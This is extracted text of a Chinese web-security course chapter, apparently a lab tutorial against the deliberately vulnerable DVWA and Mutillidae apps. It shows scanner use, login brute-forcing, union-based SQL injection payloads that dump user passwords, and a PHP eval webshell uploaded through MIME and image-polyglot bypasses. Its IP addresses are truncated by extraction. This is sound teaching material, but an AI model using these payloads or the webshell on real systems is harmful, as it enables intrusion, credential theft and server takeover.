網絡安全技術課件 第6章 Web應用安全_第1頁
網絡安全技術課件 第6章 Web應用安全_第2頁
網絡安全技術課件 第6章 Web應用安全_第3頁
網絡安全技術課件 第6章 Web應用安全_第4頁
網絡安全技術課件 第6章 Web應用安全_第5頁
已閱讀5頁,還剩248頁未讀 繼續免費閱讀

下載本文檔

版權說明:本文檔由用戶提供并上傳,收益歸屬內容提供方,若內容存在侵權,請進行舉報或認領

文檔簡介

第6章Web應用安全06本章內容010203040506076.1Web滲透測試工具6.2SQL注入漏洞6.3文件上傳漏洞6.4文件包含漏洞6.5命令執行漏洞6.6XSS跨站腳本漏洞6.7CSRF漏洞016.1Web滲透測試工具學習目標任務分析相關知識任務描述任務實施任務訓練任務評價學習路徑6.1Web滲透測試工具【學習目標】1、學會使用AWVS2、學會使用OWASP-ZAP3、認識BurpSuite的功能4、學會使用BurpSuite的攔截代理工具6.1Web滲透測試工具【任務分析】

Web

滲透測試工具很多,這里只介紹3個常用的工具。

AWVS

OWASP-ZAP

是漏洞掃描工具,可以快速幫助我們發現漏洞。

BurpSuite是較為常用的滲透測試平臺,幫助我們完成對Web應用程序的滲透測試。6.1Web滲透測試工具【相關知識】6.1Web滲透測試工具一、AWVSAWVS,全稱是AcunetixWebVulnerabilityScanner,是一款知名的網絡漏洞掃描工具,它通過網絡爬蟲測試你的網站安全,檢測流行安全漏洞。二、OWASP-ZAP(簡稱:ZAP)OWASP-ZAP,全稱:OWASPZedAttackProxy攻擊代理服務器,是受歡迎的免費安全工具之一。ZAP可以幫助我們在開發和測試應用程序過程中,自動發現Web應用程序中的安全漏洞。三、BurpSuiteBurpSuite是一個集成化的滲透測試平臺,包含了許多工具,可以幫助我們高效地完成對Web應用程序的滲透測試和攻擊。【任務描述】6.1Web滲透測試工具

小王使用不同的漏洞掃描工具對目標Web系統進行漏洞掃描,根據掃描的報警信息,確認目標Web系統是否在漏洞。小王需要使用BurpSuite的Proxy功能來查看并修改攔截的信息。

【任務實施】6.1Web滲透測試工具本任務所使用的計算機在靶機上有兩個Web應用程序,它們是Mutillidae和DVWA,訪問地址分別:36/mutillidae/36/dvwa/編號操作系統IP地址用途1KaliLinux2020.228攻擊機2Metasploitable2-Linux33靶機6.1Web滲透測試工具

1、啟動AWVS在KaliLinux中,打開瀏覽器訪問28:3443/,進入AWVS主界面。【任務實施一:使用AWVS掃描Web系統】6.1Web滲透測試工具【任務實施一:使用AWVS掃描Web系統】

2、新建網站掃描(1)點擊Targets下拉列表,點擊AddTarget選項。

在目標地址欄輸入:33/mutillidae/

在輸入描述欄輸入:Mutillidae6.1Web滲透測試工具【任務實施一:使用AWVS掃描Web系統】

2、新建網站掃描(2)點擊Save按鈕,進入掃描基本設置界面。

2、新建網站掃描(3)點擊Scan按鈕,彈出

ChooseScanningOptions

對話框。

在ScanType中,選擇

FullScan(全掃描)

在Report中,選擇

AffectedItems(漏洞摘要)

在Schedule中,選擇

Instant(立即)

(4)點擊

CreateScan

按鈕,開始掃描。6.1Web滲透測試工具【任務實施一:使用AWVS掃描Web系統】6.1Web滲透測試工具(1)AcunetixThreatLevel是Acunetix檢測網站安全等級。(2)Activity是掃描進度。(3)TargetInformation是目標服務器相關信息。(4)LatestAlerts是最新通知,可以看到漏洞等級及數量。(5)DiscoveredHosts是被發現相關聯的網址。【任務實施一:使用AWVS掃描Web系統】

3、查看掃描結果

掃描完成后,在Scans模塊的ScansInformationt選項卡中,可以看到簡單的漏洞報告。

6.1Web滲透測試工具【任務實施一:使用AWVS掃描Web系統】

4、出掃描報告

(1)點擊左側Report模塊,在Download項,可以選擇PDF格式或HTML格式進行下載。這里我們選擇HTML格式,即雙擊“HTML”按鈕。

6.1Web滲透測試工具【任務實施一:使用AWVS掃描Web系統】

4、出掃描報告

(2)在下面的對話框中,選擇默認,點擊“OK”按鈕,Firefox瀏覽器會打開掃描報告。

6.1Web滲透測試工具【任務實施一:使用AWVS掃描Web系統】

4、出掃描報告

(3)掃描報告

1、啟動ZAP

在Kali主界面中,點擊左上角的應用程序圖標,點擊03-Web程序,點擊ZAP,即可啟動ZAP。

6.1Web滲透測試工具【任務實施二:使用ZAP】1、啟動ZAP

ZAP主界面

6.1Web滲透測試工具【任務實施二:使用ZAP】2、使用自動掃描在ZAP主界面中,點擊AutomatedScan按鈕,進入AutomatedScan界面。在URLtoattack中填寫

33/mutillidae/。點擊攻擊按鈕,開始進行自動檢測。6.1Web滲透測試工具【任務實施二:使用ZAP】2、使用自動掃描

在自動檢測中,ZAP使用爬蟲抓取被測站點的所有頁面,在頁面抓取的過程中被動掃描所有獲得的頁面,抓取完畢后,用主動掃描的方式分析頁面的功能和參數。

自動檢測結束后,檢測結果為被測站點地圖及頁面資源,所有請求、反饋記錄,安全性風險項目列表。6.1Web滲透測試工具【任務實施二:使用ZAP】6.1Web滲透測試工具3、生成掃描報告

在菜單中,點擊報告,可以看到ZAP可以生成HTML、XML、Markdown、JSON等格式的掃描報告。【任務實施二:使用ZAP】6.1Web滲透測試工具4、設置攔截代理(1)打開Firefox瀏覽器,點擊右上角的

選項卡,點擊Preferences,點擊General,找到NetworkSettings,點擊Setting…,選擇

ManualProxyConfiguration,填寫HTTPProxy為,Port為8080,點擊OK,完成設置。【任務實施二:使用ZAP】6.1Web滲透測試工具4、設置攔截代理(2)切換到ZAP,在ZAP菜單中,點擊工具,點擊選項…,點擊LocalProxies,設置Address為localhost,端口為8080,點擊OK,完成設置。【任務實施二:使用ZAP】6.1Web滲透測試工具5、使用攔截代理(1)打開Firefox瀏覽器,訪問DVWA系統(33/dvwa/)。(2)在Username中輸入admin,在Password中輸入password,點擊Login,登錄到DVWA系統。(3)選擇點擊BruteForce選項,進入BruteForce界面。【任務實施二:使用ZAP】6.1Web滲透測試工具5、使用攔截代理(4)切換到ZAP,在“歷史”選項卡中,記錄了Firefox瀏覽器訪問的信息。【任務實施二:使用ZAP】6.1Web滲透測試工具6、模糊測試(1)在BruteForce(暴力破解)頁面,用戶名輸入test,密碼輸入test,點擊Login,這時出現用戶名和/或密碼錯誤。【任務實施二:使用ZAP】6.1Web滲透測試工具6、模糊測試(2)切換到ZAP,在歷史選項卡中,鼠標指向并雙擊帶有?username=test&password=test的地址,在請求選項卡中會出現你選擇的頁面。【任務實施二:使用ZAP】6.1Web滲透測試工具6、模糊測試(3)在請求選項卡空白處右鍵點擊,找到Fuzz…點擊,進入Fuzzer界面,刪除默認值。【任務實施二:使用ZAP】6.1Web滲透測試工具6、模糊測試(4)選取左側窗口里username的值test,點擊右側Add按鈕,出現Payloads對話框,在Payloads對話框中,點擊Add按鈕,出現AddPayload對話框,點擊類型選擇下拉列表,選擇String,并輸入幾個常用的用戶名,作為Payloads項,點擊添加,同理,添加password的Payload項。【任務實施二:使用ZAP】6.1Web滲透測試工具6、模糊測試(5)設置好用戶名和密碼的Payloads后,在Fuzzer界面的右邊fuzzlocations會顯示剛選擇兩個破解項。【任務實施二:使用ZAP】6.1Web滲透測試工具6、模糊測試

(6)設置好用戶名和密碼的Payloads后,在Fuzzer界面的右邊fuzzlocations會顯示剛選擇兩個破解項,點擊StartFuzzer按鈕,開始模糊測試。【任務實施二:使用ZAP】6.1Web滲透測試工具7、查看結果

在SizeResp.Body項(數據包大小),通過排序,可見到只有一條是4.641bytes,其他都是4.575bytes,不同的那條數據就是我們破解出來的正確用戶名和密碼。【任務實施二:使用ZAP】6.1Web滲透測試工具8、嘗試使用該用戶名、密碼登陸查看請求和響應報文。發現響應報文中有“Welcometothepasswordprotectedareaadmin”這樣一句話,顯然破解成功,嘗試使用該用戶名、密碼登陸,顯示成功。【任務實施二:使用ZAP】6.1Web滲透測試工具1、啟動BurpSuite在Kali主界面中,點擊左上角的應用程序圖標

,點擊03-Web程序,點擊burpsuite,即可啟動burpsuite。【任務實施三:使用BurpSuite】6.1Web滲透測試工具2、BurpSuite界面【任務實施三:使用BurpSuite】6.1Web滲透測試工具3、使用Proxy(代理)

(1)設置BurpSuite代理

在BurpSuite界面中,選擇Proxy模塊,選擇Options選項卡,在Options選項卡中,采用默認設置,即代理監聽的地址是,端口是8080。【任務實施三:使用BurpSuite】6.1Web滲透測試工具3、使用Proxy(代理)

(2)設置Firefox代理

打開Firefox瀏覽器,點擊右上角的選項卡

,點擊Preferences,點擊General,找到NetworkSettings,點擊Setting…,選擇

ManualProxyConfiguration,填寫HTTPProxy為,Port為8080,點擊OK,完成設置。【任務實施三:使用BurpSuite】6.1Web滲透測試工具3、使用Proxy(代理)

(3)發送網頁請求信息

Firefox瀏覽器地址欄中輸入:33:80,回車,發現瀏覽器應當處于暫停狀態。【任務實施三:使用BurpSuite】6.1Web滲透測試工具3、使用Proxy(代理)

(4)查看攔截信息

查看BurpSuite,可以看到瀏覽器發出的HTTPGET請求,這個請求已經被Proxy捕獲了。【任務實施三:使用BurpSuite】6.1Web滲透測試工具3、使用Proxy(代理)

(5)在選項卡Intercept(攔截)中,四個按鈕的功能

①Forward:將攔截的數據包或修改后的數據包發送到服務器端。

②Drop:丟棄當前攔截的數據包。

③Interceptison/off:這個按鈕是切換開關。

如果按鈕顯示Interceptionisoff,則顯示攔截之后的所有信息將自動轉發。

如果按鈕顯示Interceptionison,則請求和響應將被攔截或自動轉發根據配置的攔截規則配

置代理選項。

④Action:將當前攔截數據包繼續發送到Intruder、Reperater、Sequencer、Decoder、Comparer等功能界面進行進一步測試。【任務實施三:使用BurpSuite】6.1Web滲透測試工具4、攔截并修改輸入信息

(1)在DVWA登錄頁面中,輸入用戶名為test,密碼為test,點擊Login。

(2)切換到BurpSuite,我們看到攔截了login.php的信息。【任務實施三:使用BurpSuite】6.1Web滲透測試工具4、攔截并修改輸入信息

(3)找到username=test&password=test,將它修改為username=admin&password=password點擊Forward,將修改后的數據包發送到服務器端。

(4)切換到Firefox瀏覽器查看結果,顯示登錄成功。【任務實施三:使用BurpSuite】使用AWVS對Mutillidae和DVWA進行漏洞掃描。使用ZAP對Mutillidae和DVWA進行漏洞掃描。使用ZAP對DVWA的Low級別的暴力破解漏洞進行破解。使用BurpSuite對DVWA登錄頁面的用戶名和密碼進行攔截與修改。【任務訓練】6.1Web滲透測試工具學生自評01【任務評價】6.1Web滲透測試工具學生自評表項目名稱:6.1Web滲透測試工具班級:學號:姓名:日期:評價項目評價標準分值自評得分組內評分專業知識1、AWVS使用;2、ZAP使用;3、BurpSuite的功能;4、BurpSuite攔截代理的使用。10

小組配合1、使用AWVS掃描漏洞;2、使用ZAP掃描漏洞;3、使用BurpSuite的攔截代理。20

小組評價組員溝通、合作、完成情況10

工作態度態度端正,無無故缺勤、遲到、早退10

工作質量按計劃完成工作任務30

協調能力與小組成員能合作,協調工作10

職業素質實訓過程認真細致5

創新意識有獨立見解,提出獨特解決問題方法5

合計100

【任務評價】6.1Web滲透測試工具學生互評表項目名稱:6.1Web滲透測試工具評價項目分值

等級

評價對象(組別)123456成果展示10優(9-10)良(8-9)中(6-7)差(1-5)

學生互評02【任務拓展】使用AppScan對Mutillidae和DVWA進行掃描漏洞。使用Nikto對Mutillidae和DVWA進行掃描漏洞。使用w3af對Mutillidae和DVWA進行掃描漏洞。使用BurpSuite對DVWA的Low級別的暴力破解漏洞進行破解。6.1Web滲透測試工具026.2SQL注入漏洞6.2SQL注入漏洞學習目標任務分析相關知識任務實例任務實施任務訓練任務評價學習路徑【學習目標】1、理解SQL注入的基本原理。2、掌握SQL注入漏洞的利用。3、了解SQL注入漏洞的防范措施。6.2SQL注入漏洞SQL注入是一種危險系數很高并且很常見的攻擊方式。SQL注入攻擊是針對Web應用程序的后臺數據庫進行的,會導致數據庫內容泄露、數據篡改、數據損毀,甚至可能發生操作系統執行任意命令等安全問題。本任務介紹SQL注入攻擊的基本原理,講解SQL注入漏洞的利用方法及防范措施。6.2SQL注入漏洞【任務分析】【相關知識】一、SQL注入攻擊的基本原理SQL注入攻擊是針對Web應用程序的后臺數據庫進行的。SQL注入漏洞發生在構造SQL語句上,如果直接將用戶輸入的數據拼接到SQL語句中,而沒有進行適當的驗證或過濾,就可能為攻擊者留下可乘之機。攻擊者可以利用這一點,通過輸入惡意構造的SQL代碼,來改變SQL語句的邏輯,執行未授權的數據庫操作,導致數據庫內容泄露、數據篡改、數據庫損毀等。

6.2SQL注入漏洞【相關知識】二、SQL注入攻擊的類型1、字符型SQL注入2、數字型SQL注入三、通過SQL注入攻擊,獲取網站數據庫中用戶名和密碼的步驟1、猜解SQL查詢語句中的字段數2、獲取當前數據庫名3、獲取當前數據庫的表名4、獲取表中的字段名5、獲取用戶名和密碼6.2SQL注入漏洞【相關知識】四、防范措施1、特殊字符轉義2、輸入驗證和過濾3、參數化方法6.2SQL注入漏洞【任務描述】我們將利用SQL注入漏洞來獲取DVWA平臺的用戶名和密碼。本節的學習任務分為兩部分:一、low級別的SQL注入漏洞的利用。二、分析medium、high和impossible級別的SQL注入源代碼。

6.2SQL注入漏洞【任務實施】6.2SQL注入漏洞本任務所使用的計算機在Web服務服上安裝了DVWA平臺。訪問地址:01/dvwa/。編號操作系統IP地址用途1WindowsServer200801Web服務器2Windows734客戶機1、攻擊準備

在客戶機上打開瀏覽器,訪問01/dvwa/。輸入用戶名和密碼進行登錄。登錄后,檢查DVWA的“Security”模塊,查看當前的安全級別是否為“low”。如果當前級別不是“low”,將其更改為“low”。然后,點擊“SQLInjection”模塊,也就是SQL注入漏洞模塊。6.2SQL注入漏洞【任務實施一:low級別的SQL注入利用】1、攻擊準備SQL注入操作步驟:輸入注入值;提交注入;分析結果。6.2SQL注入漏洞【任務實施一:low級別的SQL注入利用】2、判斷是否存在注入點①注入:1,能夠正常顯示結果。②注入:'(單引號),頁面顯示報錯。

6.2SQL注入漏洞【任務實施一:low級別的SQL注入利用】

2、判斷是否存在注入點③注入:1'or1#,能夠遍歷顯示全部數據。根據①、②、③的結果,證明存在SQL注入點。6.2SQL注入漏洞【任務實施一:low級別的SQL注入利用】

3、判斷注入類型①注入:2,能夠正常顯示結果。②注入:1+1,能夠正常顯示結果。如果①與②的結果顯示一致,則為數字型注入,否則為字符型注入。因此,這里是字符型注入。6.2SQL注入漏洞【任務實施一:low級別的SQL注入利用】4、查看源代碼

6.2SQL注入漏洞【任務實施一:low級別的SQL注入利用】4、查看源代碼

可以看到:第5行:$id

=

$_REQUEST[

'id'

];第8行:SELECT

first_name,

last_name

FROM

users

WHERE

user_id

=

'$id';第9行:mysqli_query函數的功能:執行SQL語句操作。這里,沒有對特殊字符進行轉義,也沒有對用戶輸入做任何的過濾。6.2SQL注入漏洞【任務實施一:low級別的SQL注入利用】4、查看源代碼分析注入值拼接到SELECT語句中的情況:①

SELECT

first_name,

last_name

FROM

users

WHERE

user_id

=

'1';②

SELECT

first_name,

last_name

FROM

users

WHERE

user_id

=

''';③

SELECT

first_name,

last_name

FROM

users

WHERE

user_id

=

'1'or1#';【注意】#是MySQL的注釋符。6.2SQL注入漏洞【任務實施一:low級別的SQL注入利用】4、查看源代碼使用union聯合查詢語句:SELECT

first_name,

last_name

FROM

users

WHERE

user_id

=

''unionselect1,2#';6.2SQL注入漏洞【任務實施一:low級別的SQL注入利用】

5、獲取DVWA平臺的用戶名和密碼【說明1】information_schema數據庫①

information_schema數據庫是MySQL中一個特殊的系統數據庫,它包含了所有其他數據庫的信息。②

information_schema.tables表:列出了所有數據庫中的所有表及其所屬的數據庫。表中的table_name為表名,table_schema為所屬的數據庫。③

information_schema.columns表:列出了所有表的所有列,包括列名、數據類型、是否允許為空等信息。表中的column_name為列名,table_name為所屬的表。6.2SQL注入漏洞【任務實施一:low級別的SQL注入利用】

5、獲取DVWA平臺的用戶名和密碼【說明1】information_schema數據庫④

查詢“dvwa”數據庫中的所有表:selecttable_namefrominformation_schema.tableswheretable_schema='dvwa';⑤

查詢“users”表的所有列:selectcolumn_namefrominformation_schema.columnswheretable_name='users';6.2SQL注入漏洞【任務實施一:low級別的SQL注入利用】

5、獲取DVWA平臺的用戶名和密碼【說明2】SQL注入攻擊獲取網站數據庫中用戶名和密碼的步驟:(1)猜解SQL查詢語句中的字段數;(2)獲取當前數據庫;

(3)獲取當前數據庫中的表名;

(4)獲取表中的字段;

(5)獲取用戶名和密碼。6.2SQL注入漏洞【任務實施一:low級別的SQL注入利用】

5、獲取DVWA平臺的用戶名和密碼

(1)猜解SQL查詢語句中的字段數:

①注入:1'orderby1#,正常顯示結果。

②注入:1'orderby2#,正常顯示結果。

③注入:1'orderby3#,頁面顯示報錯。

根據①、②、③的結果,可以判斷SQL查詢語句中只有兩個字段。6.2SQL注入漏洞【任務實施一:low級別的SQL注入利用】5、獲取DVWA平臺的用戶名和密碼

(2)獲取當前使用的數據庫名注入:'

unionselectdatabase(),2#從結果可知:數據庫名為dvwa。6.2SQL注入漏洞【任務實施一:low級別的SQL注入利用】5、獲取DVWA平臺的用戶名和密碼

(3)獲取當前數據庫中的表名注入:'

unionselecttable_name,2frominformation_schema.tableswheretable_schema='dvwa'#

從顯示結果可以推斷:users表用來存放用戶信息。6.2SQL注入漏洞【任務實施一:low級別的SQL注入利用】6.2SQL注入漏洞5、獲取DVWA平臺的用戶名和密碼

(4)獲取表中的字段名

注入:'

unionselectcolumn_name,2frominformation_schema.columnswheretable_name='users'#

從顯示結果可以推斷:user字段和password字段為存放管理員賬號和密碼。【任務實施一:low級別的SQL注入利用】6.2SQL注入漏洞5、獲取DVWA平臺的用戶名和密碼

(5)獲得用戶名和密碼

注入:'

unionselectuser,passwordfromusers#從顯示結果可知,用戶名是admin,密碼是5f4dcc3b5aa765d61d8327deb882cf99。【任務實施一:low級別的SQL注入利用】5、獲取DVWA平臺的用戶名和密碼

(6)在線破解加密密碼5f4dcc3b5aa765d61d8327deb882cf99是經過md5加密的密文,使用/在線解密工具。

顯然,DVWA平臺默認用戶名“admin”的密碼是“password”。6.2SQL注入漏洞【任務實施一:low級別的SQL注入利用】【任務實施二:分析medium、high和impossible級別的SQL注入源代碼】1、分析medium級別的SQL注入源代碼

(1)查看源代碼6.2SQL注入漏洞【任務實施二:分析medium、high和impossible級別的SQL注入源代碼】1、分析medium級別的SQL注入源代碼

(1)查看源代碼第5行:$id=$_POST['id'];第7行:使用mysqli_real_escape_string()函數,對字符串中的特殊符號(“\x00”、“\n”、“\r”、“\”、“'”、“"”、“\x1a”)進行轉義。第9行:SELECTfirst_name,last_nameFROMusersWHEREuser_id=$id;第10行:使用mysqli_query()函數,執行SQL語句操作。可見,源代碼只是對特殊符號進行轉義。通過對第9行SELECT語句的分析,我們構造一個數字型注入值:“1or1”,判斷此處是否為SQL注入點。6.2SQL注入漏洞【任務實施二:分析medium、high和impossible級別的SQL注入源代碼】1、分析medium級別的SQL注入源代碼

(2)漏洞利用①前端頁面采用下拉列表框,我們不能直接注入,可采用BurpSuite工具進行攔截修改,實現SQL注入攻擊。6.2SQL注入漏洞【任務實施二:分析medium、high和impossible級別的SQL注入源代碼】1、分析medium級別的SQL注入源代碼

(2)漏洞利用②

切換到BurpSuite,設置“Interceptison”模式,即開啟攔截抓包6.2SQL注入漏洞【任務實施二:分析medium、high和impossible級別的SQL注入源代碼】1、分析medium級別的SQL注入源代碼

(2)漏洞利用③切換到DVWA環境SQLinjection模塊,點擊“Submit”按鈕。切換到BurpSuite,可看到攔截了數據包。6.2SQL注入漏洞【任務實施二:分析medium、high和impossible級別的SQL注入源代碼】1、分析medium級別的SQL注入源代碼

(2)漏洞利用④

將id=1改為id=1or1,點擊“Forward”按鈕。6.2SQL注入漏洞【任務實施二:分析medium、high和impossible級別的SQL注入源代碼】1、分析medium級別的SQL注入源代碼

(2)漏洞利用⑤

切換到DVWA環境,看到顯示全部信息,注入成功,這是SQL注入點。6.2SQL注入漏洞【任務實施二:分析medium、high和impossible級別的SQL注入源代碼】1、分析medium級別的SQL注入源代碼

(2)漏洞利用⑥

構造完整的攻擊荷載獲取當前數據庫名:id=0unionselect1,database()獲取當前數據庫中的表名:id=0unionselect1,table_namefrominformation_schema.tableswheretable_schema=database()獲取表中的字段名:id=0unionselect1,column_namefrominformation_schema.columnswheretable_name=0x7573657273獲取用戶名和密碼:id=0unionselectuser,passwordfromusers【解釋】字符串users的十六進制表示是0x7573657273。6.2SQL注入漏洞【任務實施二:分析medium、high和impossible級別的SQL注入源代碼】1、分析medium級別的SQL注入源代碼

(2)漏洞利用⑦

直接最后一步,注入:id=0unionselectuser,passwordfromusers6.2SQL注入漏洞【任務實施二:分析medium、high和impossible級別的SQL注入源代碼】1、分析medium級別的SQL注入源代碼

(2)漏洞利用注入成功,獲得用戶名和密碼。

6.2SQL注入漏洞6.2SQL注入漏洞2、分析high級別的SQL注入源代碼

(1)查看源代碼【任務實施二:分析medium、high和impossible級別的SQL注入源代碼】6.2SQL注入漏洞2、分析high級別的SQL注入源代碼

(2)源代碼分析

①high級別只是在SQL查詢語句中添加了LIMIT1,手工注入過程與low級別一樣,我們直接最后一步,注入:'

unionselectuser,passwordfromusers#

【任務實施二:分析medium、high和impossible級別的SQL注入源代碼】6.2SQL注入漏洞2、分析high級別的SQL注入源代碼

(2)源代碼分析②high級別的查詢提交頁面與查詢結果顯示頁面不是同一個,也沒有執行302跳轉,這樣做的目的是為了防止一般的sqlmap注入,因為sqlmap在注入過程中,無法在查詢提交頁面上獲取查詢的結果,沒有了反饋,也就沒辦法用BurpSuite進一步注入。【任務實施二:分析medium、high和impossible級別的SQL注入源代碼】6.2SQL注入漏洞3、分析impossible級別的SQL注入源代碼

(1)查看源代碼【任務實施二:分析medium、high和impossible級別的SQL注入源代碼】6.2SQL注入漏洞3、分析impossible級別的SQL注入源代碼

(2)分析防御措施impossible級別的代碼采用了PDO技術,劃清了代碼與數據的界限,有效防御SQL注入,同時只有返回的查詢結果數量為一時,才會成功輸出,這樣就有效預防了“爆庫”,Anti-CSRFtoken機制的加入了進一步提高了安全性。【任務實施二:分析medium、high和impossible級別的SQL注入源代碼】完成尋找SQL注入攻擊點,并判斷SQL注入攻擊的類型。完成low、medium和high這三個級別的“爆庫”操作。填寫以下項目訓練節點的名稱或參數【任務訓練】項目名稱項目節點節點參數SQL注入漏洞1、猜解SQL查詢語句中的字段數

2、獲取當前數據庫

3、獲取當前數據庫中的表

4、獲取表中的字段名

5、獲取用戶名和密碼6.2SQL注入漏洞學生自評01【任務評價】6.2SQL注入漏洞學生自評表項目名稱:6.2SQL注入漏洞班級:學號:姓名:日期:評價項目評價標準分值自評得分組內評分專業知識SQL注入漏洞的基本原理10

小組配合SQL注入漏洞的利用與防御20

小組評價組員溝通、合作、完成情況10

工作態度態度端正,無無故缺勤、遲到、早退10

工作質量按計劃完成工作任務30

協調能力與小組成員能合作,協調工作10

職業素質實訓過程認真細致5

創新意識有獨立見解,提出獨特解決問題方法5

合計100

【任務評價】6.2SQL注入漏洞學生互評02學生互評表項目名稱:6.2SQL注入漏洞評價項目分值

等級

評價對象(組別)123456成果展示10優(9-10)良(8-9)中(6-7)差(1-5)

【任務拓展】6.2SQL注入漏洞SQL注入攻擊只能造成信息泄露嗎?攻擊者可以調用數據庫中的函數來執行系統命令?攻擊者可以通過利用SQL注入攻擊來提升權限?可以獲得管理員權限?攻擊者利用SQL注入攻擊可以進行寫數據操作?可以將木馬程序(如一句話木馬)寫入服務器的文件中,最終實現遠程控制?036.3文件上傳漏洞6.3文件上傳漏洞學習目標任務分析相關知識任務實例任務實施任務訓練任務評價學習路徑【學習目標】1、理解文件上傳漏洞。2、掌握文件上傳漏洞的利用。3、掌握文件上傳漏洞的防范措施。6.3文件上傳漏洞【任務分析】上傳漏洞與SQL注入漏洞相比,其風險更大。本任務介紹文件上傳漏洞、分析文件上傳漏洞代碼,講解文件上傳漏洞的利用方法,介紹防范文件上傳漏洞的措施。6.3文件上傳漏洞【相關知識】一、文件上傳漏洞

文件上傳漏洞,通常是由于對上傳文件的類型、內容沒有進行嚴格的過濾、檢查,使得攻擊者能夠上傳惡意文件到服務器,從而獲得對服務器的控制權。

文件上傳漏洞產生的原因是應用程序中存在上傳功能,但是對上傳的文件沒有經過嚴格的合法性檢驗或者檢驗函數存在缺陷,導致攻擊者可以上傳惡意文件到服務器。

文件上傳漏洞危害極大,這是因為利用文件上傳漏洞可以直接將惡意代碼上傳到服務器上,可能會造成服務器的網頁被篡改、網站被掛馬、服務器被遠程控制、被安裝后門等嚴重的后果。6.3文件上傳漏洞【相關知識】二、PHP一句話木馬1、PHP一句話木馬:<?php@eval($_POST['pass']);?>。2、利用文件上傳漏洞,往目標網站上傳一句話木馬,然后通過中國菜刀chopper.exe即可獲取和控制整個網站目錄。6.3文件上傳漏洞【相關知識】三、文件上傳漏洞的防范措施1、對服務器端上傳文件的目錄設置為不可執行。2、進行多條件組合檢查:文件大小,路徑,擴展名,文件類型,完整性。3、對上傳的文件在服務器上存儲時進行重命名(使用隨機數改寫文件名)。6.3文件上傳漏洞【任務描述】我們將在客戶機上創建一個簡單的腳本,然后利用DVWA平臺將該腳本上傳到服務器。上傳腳本后,我們將在客戶機上配置“中國菜刀”(一種常用的Web管理工具),利用它對服務器進行文件管理操作。本節的學習任務分為兩部分:一、low級別的文件上傳漏洞的利用。二、分析medium、high和impossible級別的文件上傳源代碼。6.3文件上傳漏洞【任務實施】6.3文件上傳漏洞本任務所使用的計算機在Web服務服上安裝了DVWA平臺。訪問地址:01/dvwa/。編號操作系統IP地址用途1WindowsServer200801Web服務器2Windows734客戶機6.3文件上傳漏洞1、攻擊準備在客戶機上打開瀏覽器,訪問01/dvwa/。輸入用戶名和密碼進行登錄。登錄后,檢查DVWA的“Security”模塊,查看當前的安全級別是否為“low”。如果當前級別不是“low”,將其更改為“low”。然后,點擊“FileUpload”模塊,也就是文件上傳漏洞模塊。【任務實施一:low級別的文件上傳漏洞利用】6.3文件上傳漏洞1、攻擊準備

【任務實施一:low級別的文件上傳漏洞利用】2、查看源代碼,分析漏洞利用方法

可以看到,沒有經過任何過濾,直接將文件上傳上去,并且提示了文件存放的路徑,因此可以上傳一句話木馬進行漏洞利用。6.3文件上傳漏洞【任務實施一:low級別的文件上傳漏洞利用】3、編寫一句話木馬文件,并上傳一句話木馬文件

(1)在客戶機上,打開記事本輸入<?php@eval($_POST['pass']);?>,然后另存為shell.php。

(2)點擊“Browser...”按鈕,選擇文件shell.php。

(3)點擊“Upload”按鈕,上傳文件shell.php成功。6.3文件上傳漏洞【任務實施一:low級別的文件上傳漏洞利用】4、使用中國菜刀(chopper.exe)

(1)在客戶機上,打開中國菜刀,進入如下界面,按右鍵,點擊“添加”。6.3文件上傳漏洞【任務實施一:low級別的文件上傳漏洞利用】4、使用中國菜刀(chopper.exe)

(2)此時會彈出一個添加shell的對話框,然后填寫相關的數據。

01/dvwa/hackable/uploads/shell.php是連接的URL,就是網站的主路徑加上上傳文件時回顯的保存路徑。

pass是菜刀連接時的密碼,就是一句話木馬提交的數據(這里為“pass”)。6.3文件上傳漏洞【任務實施一:low級別的文件上傳漏洞利用】4、使用中國菜刀(chopper.exe)

(3)填寫完成后,點擊“添加”按鈕,可以看到連接成功的界面。6.3文件上傳漏洞【任務實施一:low級別的文件上傳漏洞利用】4、使用中國菜刀(chopper.exe)

(4)鼠標指向URL,然后雙擊或者右擊選擇“文件管理”,進入文件管理界面。

可以看到整個網站的結構和文件,可以進行任意的增刪改查,可以遠程控制服務器。6.3文件上傳漏洞【任務實施一:low級別的文件上傳漏洞利用】1、分析medium級別文件上傳源代碼代碼

(1)查看源代碼

可以看到,服務器對上傳文件的類型和大小做了限制。只允許上傳文件類型是image/jpeg或image/png,并且文件大小小于100000字節。6.3文件上傳漏洞【任務實施二:分析medium、high和impossible級別的文件上傳源代碼】1、分析medium級別文件上傳源代碼代碼

(2)上傳shell.php文件

發現無法上傳,而且提示只接受JPEGorPNG格式的圖像。6.3文件上傳漏洞【任務實施二:分析medium、high和impossible級別的文件上傳源代碼】6.3文件上傳漏洞1、分析medium級別文件上傳源代碼代碼(3)抓包修改上傳文件類型在Burp

Suite中,設置為攔截狀態下,重新上傳文件,攔截上傳包。【任務實施二:分析medium、high和impossible級別的文件上傳源代碼】6.3文件上傳漏洞1、分析medium級別文件上傳源代碼代碼(3)抓包修改上傳文件類型第21行是文件類型,將application/octet-stream修改為image/jpeg。點擊“Forward”按鈕。【任務實施二:分析medium、high和impossible級別的文件上傳源代碼】6.3文件上傳漏洞1、分析medium級別文件上傳源代碼代碼(3)抓包修改上傳文件類型切換至瀏覽器,看到shell.php文件上傳成功,可以使用中國菜刀進行連接。

【任務實施二:分析medium、high和impossible級別的文件上傳源代碼】2、分析high級別的文件上傳源代碼(1)查看源代碼6.3文件上傳漏洞【任務實施二:分析medium、high和impossible級別的文件上傳源代碼】2、分析high級別的文件上傳源代碼(1)查看源代碼可以看到,只允許上傳的文件后綴名為jpg,jpeg,png以及文件大小小于100000字節,getimagesize函數限制了上傳文件的文件頭必須為圖像類型。(2)生成上傳文件shell.png①

打開畫圖,將其保存為p.png。②

打開命令行窗口執行:copyp.png/b+shell.php/ashell.png這樣,shell.png文件的頭部是圖片,尾部是php代碼。6.3文件上傳漏洞【任務實施二:分析medium、high和impossible級別的文件上傳源代碼】2、分析high級別的文件上傳源代碼(3)上傳文件將shell.png文件上傳,上傳成功。6.3文件上傳漏洞【任務實施二:分析medium、high和impossible級別的文件上傳源代碼】2、分析high級別的文件上傳源代碼(4)使用中國菜刀地址:01/dvwa/vulnerabilities/fi/?page=file:///C:/phpStudy/PHPTutorial/WWW/dvwa/hackable/uploads/shell.png6.3文件上傳漏洞【任務實施二:分析medium、high和impossible級別的文件上傳源代碼】2、分析high級別的文件上傳源代碼(4)使用中國菜刀6.3文件上傳漏洞【任務實施二:分析medium、high和impossible級別的文件上傳源代碼】3、分析impossible級別的文件上傳源代碼

